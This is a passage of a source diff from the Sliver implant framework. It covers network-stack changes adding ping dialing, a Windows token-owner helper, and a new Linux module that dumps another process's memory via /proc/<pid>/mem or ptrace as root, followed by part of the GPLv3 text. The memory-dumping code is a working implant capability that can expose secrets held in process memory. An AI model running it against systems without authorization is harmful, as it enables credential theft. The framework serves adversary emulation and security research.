if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
|
||||
return []string{ip.String()}, nil
|
||||
}
|
||||
|
||||
if !isDomainName(host) {
|
||||
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
server string
|
||||
error
|
||||
}
|
||||
var addrsV4, addrsV6 []net.IP
|
||||
var addrsV4, addrsV6 []netip.Addr
|
||||
lanes := 0
|
||||
if tnet.hasV4 {
|
||||
lanes++
|
||||
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV4 = append(addrsV4, net.IP(a.A[:]))
|
||||
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
|
||||
|
||||
case dnsmessage.TypeAAAA:
|
||||
aaaa, err := result.p.AAAAResource()
|
||||
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
|
||||
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
|
||||
|
||||
default:
|
||||
if err := result.p.SkipAnswer(); err != nil {
|
||||
@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
}
|
||||
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
|
||||
var addrs []net.IP
|
||||
var addrs []netip.Addr
|
||||
if tnet.hasV6 {
|
||||
addrs = append(addrsV6, addrsV4...)
|
||||
} else {
|
||||
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
|
||||
return now.Add(timeout), nil
|
||||
}
|
||||
|
||||
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
|
||||
|
||||
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if ctx == nil {
|
||||
panic("nil context")
|
||||
}
|
||||
var acceptV4, acceptV6, useUDP bool
|
||||
if len(network) == 3 {
|
||||
var acceptV4, acceptV6 bool
|
||||
matches := protoSplitter.FindStringSubmatch(network)
|
||||
if matches == nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
} else if len(matches[2]) == 0 {
|
||||
acceptV4 = true
|
||||
acceptV6 = true
|
||||
} else if len(network) == 4 {
|
||||
acceptV4 = network[3] == '4'
|
||||
acceptV6 = network[3] == '6'
|
||||
} else {
|
||||
acceptV4 = matches[2][0] == '4'
|
||||
acceptV6 = !acceptV4
|
||||
}
|
||||
if !acceptV4 && !acceptV6 {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
if network[:3] == "udp" {
|
||||
useUDP = true
|
||||
} else if network[:3] != "tcp" {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
host, sport, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err := strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
var host string
|
||||
var port int
|
||||
if matches[1] == "ping" {
|
||||
host = address
|
||||
} else {
|
||||
var sport string
|
||||
var err error
|
||||
host, sport, err = net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err = strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
}
|
||||
}
|
||||
allAddr, err := tnet.LookupContextHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
var addrs []net.IP
|
||||
var addrs []netip.AddrPort
|
||||
for _, addr := range allAddr {
|
||||
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
ip, err := netip.ParseAddr(addr)
|
||||
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
|
||||
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
|
||||
}
|
||||
}
|
||||
if len(addrs) == 0 && len(allAddr) != 0 {
|
||||
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
|
||||
}
|
||||
|
||||
var c net.Conn
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
|
||||
switch matches[1] {
|
||||
case "tcp":
|
||||
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
|
||||
case "udp":
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
|
||||
case "ping":
|
||||
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
|
||||
}
|
||||
if err == nil {
|
||||
return c, nil
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package priv
|
||||
@@ -595,3 +596,29 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
|
||||
return privInfo, integrity, processName, nil
|
||||
}
|
||||
|
||||
// CurrentTokenOwner returns the current thread's token owner
|
||||
func CurrentTokenOwner() (string, error) {
|
||||
currToken := CurrentToken
|
||||
// when the windows.Handle is zero (no impersonation), future method calls
|
||||
// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
|
||||
// actual handle
|
||||
if currToken == 0 {
|
||||
currToken = windows.GetCurrentProcessToken()
|
||||
}
|
||||
return TokenOwner(currToken)
|
||||
}
|
||||
|
||||
// TokenOwner will resolve the primary token or thread owner of the given
|
||||
// handle
|
||||
func TokenOwner(hToken windows.Token) (string, error) {
|
||||
tokenUser, err := hToken.GetTokenUser()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf(`%s\%s`, domain, user), err
|
||||
}
|
||||
@@ -2,9 +2,21 @@
|
||||
|
||||
package procdump
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -20,6 +32,28 @@ package procdump
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// A struct to hold information about each region of memory
|
||||
type MemoryRegion struct {
|
||||
// Start address of the region
|
||||
start uint64
|
||||
|
||||
// End address of the region
|
||||
end uint64
|
||||
|
||||
/*
|
||||
Flag that indicates if this region is mapped to a file
|
||||
on disk. Currently, we are only dumping regions that
|
||||
are not backed by a file on disk.
|
||||
*/
|
||||
isFile bool
|
||||
|
||||
// File name - only populated if isFile is true
|
||||
fileName string
|
||||
}
|
||||
|
||||
// A regex for each line of /proc/<PID>/maps
|
||||
var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
|
||||
|
||||
// LinuxDump - Structure implementing the ProcessDump
|
||||
// interface for linux processes
|
||||
type LinuxDump struct {
|
||||
@@ -31,7 +65,293 @@ func (d *LinuxDump) Data() []byte {
|
||||
return d.data
|
||||
}
|
||||
|
||||
/*
|
||||
Map out the application's memory using /proc/<pid>/maps
|
||||
|
||||
Map format:
|
||||
(1) (2) (3) (4) (5) (6) (7)
|
||||
7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445 /usr/share/mime/mime.cache
|
||||
|
||||
1: Start address of the memory region
|
||||
2: End address of the memory region
|
||||
3: Permissions (rwx) and p/s (p=private, s=shared)
|
||||
4: Offset (offset in bytes into the file, field 7): This is only relevant to files
|
||||
5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
|
||||
6: inode on the device
|
||||
7: Filename (empty if the mapping is not a file)
|
||||
*/
|
||||
|
||||
func parseMap(mapLine string) *MemoryRegion {
|
||||
regionInformation := mapLineModel.FindStringSubmatch(mapLine)
|
||||
|
||||
if regionInformation == nil {
|
||||
// No match
|
||||
return nil
|
||||
}
|
||||
|
||||
if strings.HasPrefix(regionInformation[3], "r") {
|
||||
// This section of memory is readable, and we will return it
|
||||
|
||||
/*
|
||||
There is a bug in how ptrace reads the vvar region of memory,
|
||||
see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
|
||||
|
||||
The vvar region is for shared kernel variables
|
||||
|
||||
If this is vvar, then skip it so that we do not run into errors
|
||||
due to it later
|
||||
|
||||
In testing, other regions reserved by the kernel proved problematic,
|
||||
namely vdso and vsyscall. Those regions likely do not contain any
|
||||
sensitive information, so they can be skipped.
|
||||
*/
|
||||
if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
|
||||
return nil
|
||||
}
|
||||
|
||||
memRegion := MemoryRegion{}
|
||||
regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
|
||||
if err != nil {
|
||||
// Something is wrong with this region, discard this record
|
||||
return nil
|
||||
}
|
||||
memRegion.start = regionStart
|
||||
|
||||
regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
|
||||
if err != nil {
|
||||
// Something is wrong with this region, discard this record
|
||||
return nil
|
||||
}
|
||||
|
||||
memRegion.end = regionEnd
|
||||
|
||||
if regionInformation[4] == "00:00" {
|
||||
// Then this is not a file
|
||||
memRegion.isFile = false
|
||||
memRegion.fileName = ""
|
||||
} else {
|
||||
memRegion.isFile = true
|
||||
memRegion.fileName = regionInformation[5]
|
||||
}
|
||||
return &memRegion
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
Create a map of the process' memory from /proc/<PID>/maps
|
||||
Return: a slice of MemoryRegions, number of bytes represented by the map
|
||||
*/
|
||||
func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
|
||||
maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
|
||||
|
||||
if err != nil {
|
||||
// Could not open the map
|
||||
return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
|
||||
}
|
||||
|
||||
defer maps.Close()
|
||||
|
||||
var memorySize uint64 = 0
|
||||
var completeMemoryMap []*MemoryRegion
|
||||
|
||||
buffer := bufio.NewReader(maps)
|
||||
line, err := buffer.ReadString('\n')
|
||||
|
||||
// Keep reading until we hit an error
|
||||
for err == nil {
|
||||
memoryMapInfo := parseMap(strings.TrimSpace(line))
|
||||
// Only concerned about regions not backed by a file on disk
|
||||
if memoryMapInfo != nil && !memoryMapInfo.isFile {
|
||||
completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
|
||||
memorySize += memoryMapInfo.end - memoryMapInfo.start
|
||||
}
|
||||
// Read the next line
|
||||
line, err = buffer.ReadString('\n')
|
||||
}
|
||||
|
||||
// End of file is OK - anything else is not.
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
|
||||
}
|
||||
|
||||
return completeMemoryMap, memorySize, nil
|
||||
}
|
||||
|
||||
func checkPermissions() (bool, error) {
|
||||
/*
|
||||
Check to see if we are root.
|
||||
According to the proc man page, we need root unless the process has the dumpable flag.
|
||||
Unless it becomes necessary to check for the dumpable flag, we will keep things simple
|
||||
and require root.
|
||||
*/
|
||||
if currentUID := os.Getuid(); currentUID != 0 {
|
||||
return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
|
||||
}
|
||||
|
||||
/*
|
||||
Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
|
||||
(dumping process memory does not work with a ptrace_scope value of 3)
|
||||
|
||||
Yama was merged in kernel 3.4
|
||||
|
||||
If reading the value fails, it might be because it is not there. Should not be a permissions
|
||||
issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
|
||||
*/
|
||||
ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
|
||||
if err != nil {
|
||||
// Even if we get an error here, we should try to read process memory anyway.
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if strings.TrimSpace(string(ptrace_scope)) == "3" {
|
||||
return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func isOldKernelVersion() bool {
|
||||
kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
|
||||
|
||||
/*
|
||||
/proc/sys/kernel/osrelease has the version number of the kernel
|
||||
If it is less than 3.3, you can only read memory from the process by attaching
|
||||
to it with ptrace
|
||||
*/
|
||||
kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
|
||||
if err != nil {
|
||||
/*
|
||||
If this does not exist or is not readable, use the ptrace method
|
||||
since that should work for all kernels (assuming we have the
|
||||
correct permissions which we will check)
|
||||
*/
|
||||
return true
|
||||
}
|
||||
|
||||
majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
|
||||
|
||||
if majorMinorKVer == nil {
|
||||
// The kernel version did not match the expected format, use the ptrace method
|
||||
return true
|
||||
}
|
||||
|
||||
majorKVer, err := strconv.Atoi(majorMinorKVer[1])
|
||||
if err != nil {
|
||||
// Unable to determine kernel version so use the ptrace method to be safe
|
||||
return true
|
||||
}
|
||||
|
||||
if majorKVer > 3 {
|
||||
// We can read directly from /proc/pid/mem on 4.x+ kernels
|
||||
return false
|
||||
} else if majorKVer == 3 {
|
||||
minorKVer, err := strconv.Atoi(majorMinorKVer[2])
|
||||
if err != nil {
|
||||
// Unable to determine the minor kernel version, so use the ptrace method to be safe
|
||||
return true
|
||||
}
|
||||
|
||||
if minorKVer >= 3 {
|
||||
// We can read directly from /proc/pid/mem starting with kernel 3.3
|
||||
return false
|
||||
} else {
|
||||
return true
|
||||
}
|
||||
} else {
|
||||
// If the kernel version is 2.x or lower, we have to use ptrace
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
res := &LinuxDump{}
|
||||
|
||||
usePTrace := isOldKernelVersion()
|
||||
|
||||
permissionsOK, err := checkPermissions()
|
||||
|
||||
if !permissionsOK || err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
processRegions, dumpSize, err := createMemoryMap(pid)
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
// Create a buffer to put the memory
|
||||
res.data = make([]byte, dumpSize)
|
||||
|
||||
currentDumpOffset := 0
|
||||
|
||||
if usePTrace {
|
||||
// Attach to the process using ptrace
|
||||
proc, err := os.FindProcess(int(pid))
|
||||
if err != nil {
|
||||
// Then the process does not exist
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
|
||||
}
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
|
||||
err = syscall.PtraceAttach(int(pid))
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
|
||||
}
|
||||
|
||||
_, err = proc.Wait()
|
||||
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
|
||||
}
|
||||
|
||||
// Read the memory, region by region
|
||||
for _, region := range(processRegions) {
|
||||
numberOfBytes := int(region.end - region.start)
|
||||
bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
|
||||
}
|
||||
currentDumpOffset += bytesRead
|
||||
}
|
||||
|
||||
// Do not forget to detach when we are done
|
||||
// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
|
||||
err = syscall.Kill(int(pid), syscall.SIGCONT)
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
|
||||
}
|
||||
|
||||
err = syscall.PtraceDetach(int(pid))
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
|
||||
}
|
||||
|
||||
} else {
|
||||
// Open the memory "file"
|
||||
processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
|
||||
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
|
||||
}
|
||||
|
||||
defer processMemory.Close()
|
||||
|
||||
for _, region := range(processRegions) {
|
||||
/*
|
||||
Figure out the size of the memory region to read so we know how big of
|
||||
a slice to cut from the buffer
|
||||
*/
|
||||
numberOfBytes := int(region.end - region.start)
|
||||
bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
|
||||
if err != nil && err != io.EOF {
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
|
||||
}
|
||||
currentDumpOffset += bytesRead
|
||||
}
|
||||
}
|
||||
|
||||
return res, nil
|
||||
}
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
